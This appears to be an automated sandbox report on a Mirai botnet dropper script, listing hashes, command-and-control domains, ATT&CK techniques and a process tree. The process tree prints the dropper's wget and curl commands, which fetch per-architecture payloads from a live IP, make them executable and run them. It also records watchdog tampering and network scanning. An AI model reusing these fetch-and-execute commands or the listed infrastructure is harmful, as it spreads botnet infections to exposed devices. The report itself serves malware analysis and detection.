mirai | 21c53d2b3ed93dd6cd1afb25ec0e17c001097d36c760cf95d51d26f36f4237ae

Analysis

max time kernel
65s
max time network
151s
platform
debian-9_armhf
resource
debian9-armhf-20250619-en
resource tags

arch:armhfimage:debian9-armhf-20250619-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
12/10/2025, 11:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
goahead.sh
Size 4KB
Sample251012-nnmpesan91
SHA256 21c53d2b3ed93dd6cd1afb25ec0e17c001097d36c760cf95d51d26f36f4237ae
MD5 6934b96293a19dd4f5fc4550f840ccc6
SHA1 68523267b95c7efd6779c2984c31771807e5dec3
SHA512 340e4e0c1b0fdd874fd5f8b96878a95e82ee70825e26eac83650c9140c06d09424a95a014e9b67677a2cba20ad99bd7d9b5b85876070313dcdb124b41f2554c1
SSDEEP 48:v8ZMV4kUn8C1V4gn8rXrWV41n8NoV43n8EhEEV4Ebn8BkV47n8C1V4gn8eZV4sn/:vD0pT3YTML2EprbqJ3r1zIby1F7xbaJa
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

antivm botnet unstable defense_evasion discovery mirai upx

Malware Config

Extracted

Family

mirai

Botnet

UNSTABLE

cnc.504.su
scan.504.su

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai
Contacts a large (53760) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
788	chmod
793	chmod
802	chmod
809	chmod
725	chmod
816	chmod
823	chmod
829	chmod
835	chmod
841	chmod
681	chmod
687	chmod
744	chmod
769	chmod

Executes dropped EXE 14 IoCs

ioc	pid	Process
/tmp/76d32be0	682	goahead.sh
/tmp/76d32be0	689	goahead.sh
/tmp/76d32be0	726	goahead.sh
/tmp/76d32be0	745	goahead.sh
/tmp/76d32be0	771	goahead.sh
/tmp/76d32be0	789	goahead.sh
/tmp/76d32be0	794	goahead.sh
/tmp/76d32be0	803	goahead.sh
/tmp/76d32be0	810	goahead.sh
/tmp/76d32be0	817	goahead.sh
/tmp/76d32be0	824	goahead.sh
/tmp/76d32be0	830	goahead.sh
/tmp/76d32be0	836	goahead.sh
/tmp/76d32be0	842	goahead.sh

Modifies Watchdog functionality 1 TTPs 4 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	76d32be0
File opened for modification	/dev/misc/watchdog	76d32be0
File opened for modification	/dev/watchdog	76d32be0
File opened for modification	/dev/misc/watchdog	76d32be0

Enumerates active TCP sockets 1 TTPs 1 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	76d32be0

Writes file to system bin folder 4 IoCs

description	ioc	Process
File opened for modification	/bin/watchdog	76d32be0
File opened for modification	/sbin/watchdog	76d32be0
File opened for modification	/bin/watchdog	76d32be0
File opened for modification	/sbin/watchdog	76d32be0

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/fstream-1.dat	upx
behavioral2/files/fstream-4.dat	upx
behavioral2/files/fstream-5.dat	upx
behavioral2/files/fstream-6.dat	upx
behavioral2/files/fstream-7.dat	upx
behavioral2/files/fstream-8.dat	upx

Changes its process name 2 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	a	745	76d32be0
Changes the process name, possibly in an attempt to hide itself	a	794	76d32be0

Checks CPU configuration 1 TTPs 14 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads system network configuration 1 TTPs 1 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	76d32be0

Reads runtime system information 51 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/852/cmdline	76d32be0
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/exe	76d32be0
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/656/cmdline	76d32be0
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/596/cmdline	76d32be0
File opened for reading	/proc/648/cmdline	76d32be0
File opened for reading	/proc/798/cmdline	76d32be0
File opened for reading	/proc/805/cmdline	76d32be0
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/exe	76d32be0
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/591/cmdline	76d32be0
File opened for reading	/proc/649/cmdline	76d32be0
File opened for reading	/proc/650/cmdline	76d32be0
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/exe	76d32be0
File opened for reading	/proc/self/exe	76d32be0
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/589/cmdline	76d32be0
File opened for reading	/proc/595/cmdline	76d32be0
File opened for reading	/proc/651/cmdline	76d32be0
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/576/cmdline	76d32be0
File opened for reading	/proc/641/cmdline	76d32be0
File opened for reading	/proc/820/cmdline	76d32be0
File opened for reading	/proc/845/cmdline	76d32be0
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/834/cmdline	76d32be0
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/850/cmdline	76d32be0
File opened for reading	/proc/854/cmdline	76d32be0
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
684	wget
685	curl
686	cat

Writes file to tmp directory 29 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.x86	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.arm5	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.i686	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.mips	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.arc	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.m68k	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.spc	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.arc	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.x86_64	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.arm5	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.arm6	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.arm7	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.x86	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.m68k	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.spc	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.i686	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.mpsl	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.arm6	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.mpsl	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.arm	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.ppc	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.x86_64	curl
File opened for modification	/tmp/76d32be0	goahead.sh
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.mips	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.arm7	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.arm	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.ppc	wget

/tmp/goahead.sh
/tmp/goahead.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:651
- /usr/bin/wget
  wget http://158.94.209.95/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x86
  2⤵
  - Writes file to tmp directory
  PID:655
- /usr/bin/curl
  curl -O http://158.94.209.95/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:678
- /bin/cat
  cat db0fa4b8db0333367e9bda3ab68b8042.x86
  2⤵
  PID:680
- /bin/chmod
  chmod +x 76d32be0 db0fa4b8db0333367e9bda3ab68b8042.x86 goahead.sh systemd-private-b40eccf833ce480b83d62d8f911a66d6-systemd-timedated.service-yYWBZb
  2⤵
  - File and Directory Permissions Modification
  PID:681
- /tmp/76d32be0
  ./76d32be0 goahead.exploit
  2⤵
  PID:682
- /usr/bin/wget
  wget http://158.94.209.95/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:684
- /usr/bin/curl
  curl -O http://158.94.209.95/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:685
- /bin/cat
  cat db0fa4b8db0333367e9bda3ab68b8042.mips
  2⤵
  - System Network Configuration Discovery
  PID:686
- /bin/chmod
  chmod +x 76d32be0 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.x86 goahead.sh systemd-private-b40eccf833ce480b83d62d8f911a66d6-systemd-timedated.service-yYWBZb
  2⤵
  - File and Directory Permissions Modification
  PID:687
- /tmp/76d32be0
  ./76d32be0 goahead.exploit
  2⤵
  PID:689
- /usr/bin/wget
  wget http://158.94.209.95/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mpsl
  2⤵
  - Writes file to tmp directory
  PID:692
- /usr/bin/curl
  curl -O http://158.94.209.95/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mpsl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:707
- /bin/cat
  cat db0fa4b8db0333367e9bda3ab68b8042.mpsl
  2⤵
  PID:723
- /bin/chmod
  chmod +x 76d32be0 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 goahead.sh systemd-private-b40eccf833ce480b83d62d8f911a66d6-systemd-timedated.service-yYWBZb
  2⤵
  - File and Directory Permissions Modification
  PID:725
- /tmp/76d32be0
  ./76d32be0 goahead.exploit
  2⤵
  PID:726
- /usr/bin/wget
  wget http://158.94.209.95/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm
  2⤵
  - Writes file to tmp directory
  PID:729
- /usr/bin/curl
  curl -O http://158.94.209.95/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:742
- /bin/cat
  cat db0fa4b8db0333367e9bda3ab68b8042.arm
  2⤵
  PID:743
- /bin/chmod
  chmod +x 76d32be0 db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 goahead.sh systemd-private-b40eccf833ce480b83d62d8f911a66d6-systemd-timedated.service-yYWBZb
  2⤵
  - File and Directory Permissions Modification
  PID:744
- /tmp/76d32be0
  ./76d32be0 goahead.exploit
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Changes its process name
  - Reads runtime system information
  PID:745
- /usr/bin/wget
  wget http://158.94.209.95/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm5
  2⤵
  - Writes file to tmp directory
  PID:747
- /usr/bin/curl
  curl -O http://158.94.209.95/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:751
- /bin/cat
  cat db0fa4b8db0333367e9bda3ab68b8042.arm5
  2⤵
  PID:768
- /bin/chmod
  chmod +x 76d32be0 db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 goahead.sh systemd-private-b40eccf833ce480b83d62d8f911a66d6-systemd-timedated.service-yYWBZb
  2⤵
  - File and Directory Permissions Modification
  PID:769
- /tmp/76d32be0
  ./76d32be0 goahead.exploit
  2⤵
  - Reads runtime system information
  PID:771
- /usr/bin/wget
  wget http://158.94.209.95/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm6
  2⤵
  - Writes file to tmp directory
  PID:773
- /usr/bin/curl
  curl -O http://158.94.209.95/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:786
- /bin/cat
  cat db0fa4b8db0333367e9bda3ab68b8042.arm6
  2⤵
  PID:787
- /bin/chmod
  chmod +x 76d32be0 db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 goahead.sh systemd-private-b40eccf833ce480b83d62d8f911a66d6-systemd-timedated.service-yYWBZb
  2⤵
  - File and Directory Permissions Modification
  PID:788
- /tmp/76d32be0
  ./76d32be0 goahead.exploit
  2⤵
  - Reads runtime system information
  PID:789
- /usr/bin/wget
  wget http://158.94.209.95/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm7
  2⤵
  - Writes file to tmp directory
  PID:790
- /usr/bin/curl
  curl -O http://158.94.209.95/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:791
- /bin/cat
  cat db0fa4b8db0333367e9bda3ab68b8042.arm7
  2⤵
  PID:792
- /bin/chmod
  chmod +x 76d32be0 db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 goahead.sh systemd-private-b40eccf833ce480b83d62d8f911a66d6-systemd-timedated.service-yYWBZb
  2⤵
  - File and Directory Permissions Modification
  PID:793
- /tmp/76d32be0
  ./76d32be0 goahead.exploit
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:794
- /usr/bin/wget
  wget http://158.94.209.95/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.ppc
  2⤵
  - Writes file to tmp directory
  PID:796
- /usr/bin/curl
  curl -O http://158.94.209.95/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.ppc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:800
- /bin/cat
  cat db0fa4b8db0333367e9bda3ab68b8042.ppc
  2⤵
  PID:801
- /bin/chmod
  chmod +x 76d32be0 db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.x86 goahead.sh systemd-private-b40eccf833ce480b83d62d8f911a66d6-systemd-timedated.service-yYWBZb
  2⤵
  - File and Directory Permissions Modification
  PID:802
- /tmp/76d32be0
  ./76d32be0 goahead.exploit
  2⤵
  PID:803
- /usr/bin/wget
  wget http://158.94.209.95/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.m68k
  2⤵
  - Writes file to tmp directory
  PID:806
- /usr/bin/curl
  curl -O http://158.94.209.95/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.m68k
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:807
- /bin/cat
  cat db0fa4b8db0333367e9bda3ab68b8042.m68k
  2⤵
  PID:808
- /bin/chmod
  chmod +x 76d32be0 db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.x86 goahead.sh systemd-private-b40eccf833ce480b83d62d8f911a66d6-systemd-timedated.service-yYWBZb
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/76d32be0
  ./76d32be0 goahead.exploit
  2⤵
  PID:810
- /usr/bin/wget
  wget http://158.94.209.95/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.spc
  2⤵
  - Writes file to tmp directory
  PID:812
- /usr/bin/curl
  curl -O http://158.94.209.95/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.spc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:813
- /bin/cat
  cat db0fa4b8db0333367e9bda3ab68b8042.spc
  2⤵
  PID:814
- /bin/chmod
  chmod +x 76d32be0 db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.spc db0fa4b8db0333367e9bda3ab68b8042.x86 goahead.sh systemd-private-b40eccf833ce480b83d62d8f911a66d6-systemd-timedated.service-yYWBZb
  2⤵
  - File and Directory Permissions Modification
  PID:816
- /tmp/76d32be0
  ./76d32be0 goahead.exploit
  2⤵
  PID:817
- /usr/bin/wget
  wget http://158.94.209.95/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.i686
  2⤵
  - Writes file to tmp directory
  PID:819
- /usr/bin/curl
  curl -O http://158.94.209.95/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.i686
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:821
- /bin/cat
  cat db0fa4b8db0333367e9bda3ab68b8042.i686
  2⤵
  PID:822
- /bin/chmod
  chmod +x 76d32be0 db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.i686 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.spc db0fa4b8db0333367e9bda3ab68b8042.x86 goahead.sh systemd-private-b40eccf833ce480b83d62d8f911a66d6-systemd-timedated.service-yYWBZb
  2⤵
  - File and Directory Permissions Modification
  PID:823
- /tmp/76d32be0
  ./76d32be0 goahead.exploit
  2⤵
  PID:824
- /usr/bin/wget
  wget http://158.94.209.95/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.sh4
  2⤵
  - Writes file to tmp directory
  PID:826
- /usr/bin/curl
  curl -O http://158.94.209.95/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.sh4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:827
- /bin/cat
  cat db0fa4b8db0333367e9bda3ab68b8042.sh4
  2⤵
  PID:828
- /bin/chmod
  chmod +x 76d32be0 db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.i686 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.sh4 db0fa4b8db0333367e9bda3ab68b8042.spc db0fa4b8db0333367e9bda3ab68b8042.x86 goahead.sh systemd-private-b40eccf833ce480b83d62d8f911a66d6-systemd-timedated.service-yYWBZb
  2⤵
  - File and Directory Permissions Modification
  PID:829
- /tmp/76d32be0
  ./76d32be0 goahead.exploit
  2⤵
  PID:830
- /usr/bin/wget
  wget http://158.94.209.95/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arc
  2⤵
  - Writes file to tmp directory
  PID:832
- /usr/bin/curl
  curl -O http://158.94.209.95/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:833
- /bin/cat
  cat db0fa4b8db0333367e9bda3ab68b8042.arc
  2⤵
  PID:834
- /bin/chmod
  chmod +x 76d32be0 db0fa4b8db0333367e9bda3ab68b8042.arc db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.i686 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.sh4 db0fa4b8db0333367e9bda3ab68b8042.spc db0fa4b8db0333367e9bda3ab68b8042.x86 goahead.sh systemd-private-b40eccf833ce480b83d62d8f911a66d6-systemd-timedated.service-yYWBZb
  2⤵
  - File and Directory Permissions Modification
  PID:835
- /tmp/76d32be0
  ./76d32be0 goahead.exploit
  2⤵
  PID:836
- /usr/bin/wget
  wget http://158.94.209.95/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x86_64
  2⤵
  - Writes file to tmp directory
  PID:838
- /usr/bin/curl
  curl -O http://158.94.209.95/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x86_64
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:839
- /bin/cat
  cat db0fa4b8db0333367e9bda3ab68b8042.x86_64
  2⤵
  PID:840
- /bin/chmod
  chmod +x 76d32be0 db0fa4b8db0333367e9bda3ab68b8042.arc db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.i686 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.sh4 db0fa4b8db0333367e9bda3ab68b8042.spc db0fa4b8db0333367e9bda3ab68b8042.x86 db0fa4b8db0333367e9bda3ab68b8042.x86_64 goahead.sh systemd-private-b40eccf833ce480b83d62d8f911a66d6-systemd-timedated.service-yYWBZb
  2⤵
  - File and Directory Permissions Modification
  PID:841
- /tmp/76d32be0
  ./76d32be0 goahead.exploit
  2⤵
  PID:842

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

76d32be0

Path /tmp/76d32be0
Size 29KB
SHA256 4e06ece7ae576417a8dc0e419b8782ce0860cd9e90bc947b4c118e2a52786304
MD5 d076b969836dce5fe82e77ea26670da8
SHA1 e36fb1158c036ab47adf71eae2b9d3adbd25278d
SHA512 85fe3848d27b14fb510d4bb311ab958b10eb8089feee9df1be29453b60bf77077c17a51b64f4d75be519eb430dabf82eba903df40a87f19abe4446efde5160bf
SSDEEP 768:DlB2V8K/arDeNZpwLum/Kqc1KelmwdNCJgGlzDpUYswx:Dlj/gr6umyqcjlNuVqYXx
MD5 SHA1 SHA512 SSDEEP

Submit Download

76d32be0

Path /tmp/76d32be0
Size 31KB
SHA256 6294a0eb4ee65e6ba006a024522658107ec8753f6d3df2dc7309776199da65e7
MD5 5d7bbd04eebe6e6f3b6721707e4615a8
SHA1 e4c67e70bc44668ffb2777434f61ae90c968171e
SHA512 52373c7a5114d6fb5b9fcb0de9a2612577bfdd82fbafff40f9416c1c6f9a26cab06480ce869faf6d51ba4f3c7337ab64259bc30644c5b9b6bb698ed176cf2e7b
SSDEEP 768:jjY9shqAw9eR4kC8gClp//HcSMQv5YDvrXpp0UIPWMK:Y8Xw9a4kC8gCl/KHXXJ
MD5 SHA1 SHA512 SSDEEP

Submit Download

76d32be0

Path /tmp/76d32be0
Size 28KB
SHA256 236fa5092bd06813996532ef793834e31a69ed1e576599eaa97bcf8fb7db9b61
MD5 4add459901615af38e77fbc6335dcccf
SHA1 0d9b99a39725921d810abdfd085757bf9ddc5d22
SHA512 147e801fb0ddb072dc6e07d682a5bb26791b2c83318904259ce84802df31e3f8799fc3e23af1c11ef5cf62010b6db0658e9fbb9626e46d23da84c5c8431339eb
